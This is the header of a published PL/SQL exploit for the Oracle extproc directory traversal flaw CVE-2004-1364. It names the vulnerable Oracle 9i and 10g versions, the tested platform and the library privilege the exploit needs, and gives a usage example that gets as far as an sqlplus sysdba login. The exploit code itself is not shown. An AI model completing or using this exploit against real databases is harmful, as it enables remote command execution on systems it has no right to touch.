This PL/SQL code exploits the Oracle extproc directory traversal bug to remotely execute arbitrary OS commands with the privileges of the DBMS user. All versions of Oracle 9i are susceptible. Oracle 10g versions prior to 10.1.0.3 are susceptible.

-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- Directory traversal vulnerability in extproc in Oracle 9i and 10g
-- allows remote attackers to access arbitrary libraries outside of the
-- $ORACLE_HOME\bin directory (CVE-2004-1364).
--
-- This PL/SQL code exploits the Oracle extproc directory traversal bug
-- to remotely execute arbitrary OS commands with the privileges of the DBMS
-- user (the CREATE [ANY] LIBRARY privilege is needed).

--
-- Vulnerable platforms:
-- Oracle 9i (all versions?)
-- Oracle 10g versions prior to 10.1.0.3
--
-- Tested on Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production,
-- running on both Solaris 9 and 10 systems. It will need some tweakings to
-- properly work on other platforms.
--
-- Usage example:
-- $ echo $ORACLE_HOME
-- /opt/oracle/
-- $ sqlplus "/ as sysdba"
-- [...]
-- Connected to:
-- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production
-- With the Partitioning, OLAP and Oracle Data Mining options
-- JServer Release 9.2.0.1.0 - Production
